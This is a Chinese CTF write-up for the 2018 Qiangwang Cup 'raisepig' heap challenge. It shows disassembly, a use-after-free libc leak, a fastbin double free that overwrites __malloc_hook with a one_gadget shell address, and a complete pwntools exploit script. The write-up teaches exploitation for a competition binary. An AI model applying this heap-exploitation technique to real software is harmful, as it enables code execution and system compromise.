2018 强网杯raisepig解题过程
Posted Yable
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2018 强网杯raisepig解题过程相关的知识,希望对你有一定的参考价值。
这是一个UAF+double free的题啊,题目比较简单。
首先看一下这个文件:
这是一个64位的程序,动态链接的。
运行下看看:
再来用ida看一下这个程序代码(有些地方我有重新标记):
看一下list:
然后看下每一个流程是怎么执行的吧,发现无法解析伪c代码,那就看汇编结合动调吧。
.text:0000000000000B90 list proc near ; CODE XREF: main+30p .text:0000000000000B90 .text:0000000000000B90 var_8 = qword ptr -8 .text:0000000000000B90 .text:0000000000000B90 push rbp .text:0000000000000B91 mov rbp, rsp .text:0000000000000B94 sub rsp, 10h .text:0000000000000B98 mov rax, fs:28h .text:0000000000000BA1 mov [rbp+var_8], rax .text:0000000000000BA5 xor eax, eax .text:0000000000000BA7 lea rdi, s ; s .text:0000000000000BAE call puts .text:0000000000000BB3 lea rdi, asc_1355 ; " ,-,------, " .text:0000000000000BBA call puts .text:0000000000000BBF lea rdi, a__ ; " _ \\\\(\\\\(_,--\' " .text:0000000000000BC6 call puts .text:0000000000000BCB lea rdi, a___0 ; " <`--\'\\\\>/(/(__ " .text:0000000000000BD2 call puts .text:0000000000000BD7 lea rdi, a___1 ; " /. . `\'` \' \\\\ " .text:0000000000000BDE call puts .text:0000000000000BE3 lea rdi, a@ ; " (\'\') , @ " .text:0000000000000BEA call puts .text:0000000000000BEF lea rdi, a___2 ; " `-._, / " .text:0000000000000BF6 call puts .text:0000000000000BFB lea rdi, a_ ; " )-)_/--( > " .text:0000000000000C02 call puts .text:0000000000000C07 lea rdi, asc_13FD ; " \'\'\'\' \'\'\'\' " .text:0000000000000C0E call puts .text:0000000000000C13 lea rdi, s ; s .text:0000000000000C1A call puts .text:0000000000000C1F lea rdi, a1_RaiseAPig ; "1 . Raise a pig " .text:0000000000000C26 call puts .text:0000000000000C2B lea rdi, a2_VisitPigs ; "2 . Visit pigs " .text:0000000000000C32 call puts .text:0000000000000C37 lea rdi, a3_EatAPig ; "3 . Eat a pig" .text:0000000000000C3E call puts .text:0000000000000C43 lea rdi, a4_EatTheWholeP ; "4 . Eat the whole Pig Farm" .text:0000000000000C4A call puts .text:0000000000000C4F lea rdi, a5_LeaveTheFarm ; "5 . Leave the Farm" .text:0000000000000C56 call puts .text:0000000000000C5B lea rdi, s ; s .text:0000000000000C62 call puts .text:0000000000000C67 lea rdi, format ; "Your choice : " .text:0000000000000C6E mov eax, 0 .text:0000000000000C73 call printf .text:0000000000000C78 nop .text:0000000000000C79 mov rax, [rbp+var_8] .text:0000000000000C7D xor rax, fs:28h .text:0000000000000C86 jz short locret_C8D .text:0000000000000C88 call __stack_chk_fail .text:0000000000000C8D ; --------------------------------------------------------------------------- .text:0000000000000C8D .text:0000000000000C8D locret_C8D: ; CODE XREF: list+F6j .text:0000000000000C8D leave .text:0000000000000C8E retn .text:0000000000000C8E list endp .text:0000000000000C8E .text:0000000000000C8F .text:0000000000000C8F ; =============== S U B R O U T I N E ======================================= .text:0000000000000C8F .text:0000000000000C8F ; Attributes: bp-based frame .text:0000000000000C8F .text:0000000000000C8F sub_C8F proc near ; CODE XREF: main+89p .text:0000000000000C8F .text:0000000000000C8F size = qword ptr -20h .text:0000000000000C8F s = qword ptr -18h .text:0000000000000C8F buf = qword ptr -10h .text:0000000000000C8F var_8 = qword ptr -8 .text:0000000000000C8F .text:0000000000000C8F push rbp .text:0000000000000C90 mov rbp, rsp .text:0000000000000C93 sub rsp, 20h .text:0000000000000C97 mov rax, fs:28h .text:0000000000000CA0 mov [rbp+var_8], rax .text:0000000000000CA4 xor eax, eax .text:0000000000000CA6 push rax .text:0000000000000CA7 xor eax, eax .text:0000000000000CA9 jz short loc_CAF .text:0000000000000CAB add rsp, 4 .text:0000000000000CAF .text:0000000000000CAF loc_CAF: ; CODE XREF: sub_C8F+1Aj .text:0000000000000CAF pop rax .text:0000000000000CB0 mov [rbp+s], 0 .text:0000000000000CB8 mov [rbp+buf], 0 .text:0000000000000CC0 mov dword ptr [rbp+size], 0 .text:0000000000000CC7 mov eax, cs:dword_20202C .text:0000000000000CCD cmp eax, 63h .text:0000000000000CD0 ja loc_E23 .text:0000000000000CD6 mov edi, 28h ; size .text:0000000000000CDB call malloc //申请一个堆 .text:0000000000000CE0 mov [rbp+s], rax .text:0000000000000CE4 mov rax, [rbp+s] .text:0000000000000CE8 mov edx, 28h ; n .text:0000000000000CED mov esi, 0 ; c .text:0000000000000CF2 mov rdi, rax ; s .text:0000000000000CF5 call memset .text:0000000000000CFA lea rdi, aLengthOfTheNam ; "Length of the name :" //这里是我们输入的raise的length .text:0000000000000D01 mov eax, 0 .text:0000000000000D06 call printf .text:0000000000000D0B lea rax, [rbp+size] .text:0000000000000D0F mov rsi, rax .text:0000000000000D12 lea rdi, aU ; "%u" .text:0000000000000D19 mov eax, 0 .text:0000000000000D1E call __isoc99_scanf .text:0000000000000D23 cmp eax, 0FFFFFFFFh .text:0000000000000D26 jnz short loc_D32 .text:0000000000000D28 mov edi, 0FFFFFFFFh ; status .text:0000000000000D2D call exit .text:0000000000000D32 ; --------------------------------------------------------------------------- .text:0000000000000D32 .text:0000000000000D32 loc_D32: ; CODE XREF: sub_C8F+97j .text:0000000000000D32 mov eax, dword ptr [rbp+size] .text:0000000000000D35 mov eax, eax .text:0000000000000D37 mov rdi, rax ; size .text:0000000000000D3A call malloc //然后申请一个堆 .text:0000000000000D3F mov [rbp+buf], rax .text:0000000000000D43 cmp [rbp+buf], 0 .text:0000000000000D48 jnz short loc_D60 .text:0000000000000D4A lea rdi, aError ; "error !" .text:0000000000000D51 call puts .text:0000000000000D56 mov edi, 0FFFFFFFFh ; status .text:0000000000000D5B call exit .text:0000000000000D60 ; --------------------------------------------------------------------------- .text:0000000000000D60 .text:0000000000000D60 loc_D60: ; CODE XREF: sub_C8F+B9j .text:0000000000000D60 lea rdi, aTheNameOfPig ; "The name of pig :" .text:0000000000000D67 mov eax, 0 .text:0000000000000D6C call printf .text:0000000000000D71 mov eax, dword ptr [rbp+size] .text:0000000000000D74 mov edx, eax ; nbytes .text:0000000000000D76 mov rax, [rbp+buf] .text:0000000000000D7A mov rsi, rax ; buf .text:0000000000000D7D mov edi, 0 ; fd .text:0000000000000D82 call read .text:0000000000000D87 mov rax, [rbp+s] .text:0000000000000D8B mov rdx, [rbp+buf] .text:0000000000000D8F mov [rax+8], rdx .text:0000000000000D93 lea rdi, aTheTypeOfThePi ; "The type of the pig :" //获取参数:type .text:0000000000000D9A mov eax, 0 .text:0000000000000D9F call printf .text:0000000000000DA4 mov rax, [rbp+s] .text:0000000000000DA8 add rax, 10h .text:0000000000000DAC mov rsi, rax .text:0000000000000DAF lea rdi, a23s ; "%23s" .text:0000000000000DB6 mov eax, 0 .text:0000000000000DBB call __isoc99_scanf .text:0000000000000DC0 mov rax, [rbp+s] .text:0000000000000DC4 mov dword ptr [rax], 1 .text:0000000000000DCA mov dword ptr [rbp+size+4], 0 .text:0000000000000DD1 jmp short loc_E0E .text:0000000000000DD3 ; --------------------------------------------------------------------------- .text:0000000000000DD3
看一下内存分配,可以看出来Name放在一个堆里,type放在了另外一个堆里:
然后删除第一个堆,看下内存分配:
可以发现之前的name的空间被free了,然后我们在申请一个内存,看看位置。
也就是说free的空间是Name所在的空间。第0个空间就会释放AAAA空间,第1个就是释放BBBB空间。同理……
下面就可以进行利用了,思路:
1.泄露libc地址,并通过偏移计算出__malloc_hook函数地址,one_gadget获得的system"/bin/sh"的地址。
2.修改__malloc_hook函数的地址为我们的system"/bin/sh"的地址
3.double free 触发__malloc_hook执行,便会转换到执行我们的shell。
开始利用了:
1.泄露libc地址,并通过偏移计算出__malloc_hook函数地址,one_gadget获得的system"/bin/sh"的地址。
那么我们开始写脚本吧,首先构造输入函数和显示函数:
#!usr/bin/env python
#! coding = utf-8
from pwn import*
debug =1
local =1
if local:
p =process(\'./raisepig\')
else:
p =remote("127.0.0.1",8080)
#context.log_level = \'debug\'
def add(leng,name,types):
p.recvuntil(\'Your choice : \')
p.sendline(\'1\')
p.recvuntil("Length of the name :")
p.sendline(str(leng))
p.recvuntil("The name of pig :")
p.sendline(name)
p.recvuntil("The type of the pig :")
p.sendline(types)
def visit():
p.recvuntil(\'Your choice : \')
p.sendline("2")
def free(num):
p.recvuntil(\'Your choice : \')
p.sendline("3")
p.recvuntil("Which pig do you want to eat:")
p.sendline(str(num))
#leak address
add(0x80,"AAAA","aa")
add(0x20,"BBBB","bb")
#add(0x20,"CCCC","cc")
free(0)
add(0x50,\'\',\'dd\')
#add(0x60,\'DDDD\',\'dd\')
visit()
p.recvuntil("Name[2] :")
#data=p.recvline()
data =u64(p.recv(6).ljust(8,\'\\x00\'))
print"data=",hex(data)
#libc = hex(data) + 0x3c4b0a
#print "libc=",hex(libc)
gdb.attach(p)
p.interactive()
#leak address
成功泄露出了地址了:
接下来我们来计算0x7fe7e68b3b0a <__realloc_hook+2>这个地址与libc基地址的偏移。见下图,可以看到libc的基地址是0x00007fe7e64ef000。那么偏移就是:
偏移 = 0x7fe7e68b3b0a - 0x00007fe7e64ef000 =0x3c4b0a,那么相反啊,libc = 0x7fe7e68b3b0a - 0x3c4b0a。
添加两行代码:
libc = data - 0x3c4b0a print "libc=",hex(libc)
运行下,看看效果,如下,看来泄露正确了。
one_gadget获得的system"/bin/sh"的地址(如下),出现了四个偏移,用哪一个呢?很简单,试一试,哪个可以用就用哪个。我选择的是第三个偏移0xf02a4。即:
one = libc + 0xf02a4
~/桌面/raisepig$ ldd raisepig linux-vdso.so.1 => (0x00007ffce27e0000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffb3d639000) /lib64/ld-linux-x86-64.so.2 (0x00007ffb3dc06000) ~/桌面/raisepig$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
2.修改__malloc_hook函数的地址为我们的system"/bin/sh"的地址
修改思路:通过double free来伪造fd,使fd指向malloc_hook前两个左右字节附近的地方(伪堆)(注意是附近哦,后面还会有size的安全检查),使申请的伪堆的data处为__malloc_hook函数的地址,这样修改data就修改了malloc_hook函数的内容了。
首先咱们来申请两段空间,用来double free
add(0x60,"CCCC","cccc") add(0x60,"DDDD","dddd") add(0x60,"EEEE","eeee")
就用CCCC段空间和DDDD段的空间来做吧。EEEE空间是为了防止和largebin合并。
构造double free,并伪造fd,
add(0x60,"CCCC","cccc") add(0x60,"DDDD","dddd") add(0x60,"EEEE","eeee") #add(0x90,"FFFF","ffff") free(3) free(4) free(3)
那么我们来构造fd吧(见下图)发现fd被我们修改成了__malloc_hook的地址了。
__malloc_hook = libc + 0x3c4b10 print "__malloc_hook=",hex(__malloc_hook) add(0x60,"CCCC","cccc") add(0x60,"DDDD","dddd") add(0x60,"EEEE","eeee") #add(0x90,"FFFF","ffff") free(3) free(4) free(3) #add(0x60,p64(__malloc_hook-0x13),"ffff") add(0x60,p64(__malloc_hook),"ffff") #这里是我们填入的__malloc_hook的地址 add(0x60,"GGGG","gggg") #add(0x60,"HHHH","hhhh")
libc = data - 0x3c4b0a print "libc=",hex(libc) one = libc + 0xf02a4 print "one=",hex(one) __malloc_hook = libc + 0x3c4b10 print "__malloc_hook=",hex(__malloc_hook) print "__malloc_hook-0x13=",hex(__malloc_hook-0x13) add(0x60,"CCCC","cccc") add(0x60,"DDDD","dddd") add(0x60,"EEEE","eeee") #add(0x90,"FFFF","ffff") free(3) free(4) free(3) add(0x60,p64(__malloc_hook-0x13),"ffff") #add(0x60,p64(__malloc_hook),"ffff") add(0x60,"GGGG","gggg") add(0x60,"HHHH","hhhh") add(0x60,\'\\x00\\x00\\x00\'+p64(one),"iiii")
哈哈,看到我们已经把__malloc_hook的地址修改为我们的one_gadget的地址了。下面就是触发了,动过触发double free然后触动__malloc_hook函数。
free(0)
free(0)
发现利用成功了。
完整exp:
#!usr/bin/env python
#! coding = utf-8
from pwn import*
debug =1
local =1
if local:
p =process(\'./raisepig\')
else:
p =remote("127.0.0.1",8080)
#context.log_level = \'debug\'
def add(leng,name,types):
p.recvuntil(\'Your choice : \')
p.sendline(\'1\')
p.recvuntil("Length of the name :")
p.sendline(str(leng))
p.recvuntil("The name of pig :")
p.sendline(name)
p.recvuntil("The type of the pig :")
p.sendline(types)
def visit():
p.recvuntil(\'Your choice : \')
p.sendline("2")
def free(num):
p.recvuntil(\'Your choice : \')
p.sendline("3")
p.recvuntil("Which pig do you want to eat:")
p.sendline(str(num))
#leak address
add(0x80,"AAAA","aa")
add(0x20,"BBBB","bb")
free(0)
add(0x50,\'\',\'dd\')
visit()
p.recvuntil("Name[2] :")
#data=p.recvline()
data =u64(p.recv(6).ljust(8,\'\\x00\'))
print"data=",hex(data)
libc = data - 0x3c4b0a
print "libc=",hex(libc)
one = libc + 0xf02a4
print "one=",hex(one)
__malloc_hook = libc + 0x3c4b10
print "__malloc_hook=",hex(__malloc_hook)
print "__malloc_hook-0x13=",hex(__malloc_hook-0x13)
add(0x60,"CCCC","cccc")
add(0x60,"DDDD","dddd")
add(0x60,"EEEE","eeee")
free(3)
free(4)
free(3)
add(0x60,p64(__malloc_hook-0x13),"ffff") #保证检查size位为有效数据。
#add(0x60,p64(__malloc_hook),"ffff")
add(0x60,"GGGG","gggg")
add(0x60,"HHHH","hhhh")
add(0x60,\'\\x00\\x00\\x00\'+p64(one),"iiii")
free(0)
free(0)
gdb.attach(p)
p.interactive()
以上是关于2018 强网杯raisepig解题过程的主要内容,如果未能解决你的问题,请参考以下文章
2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)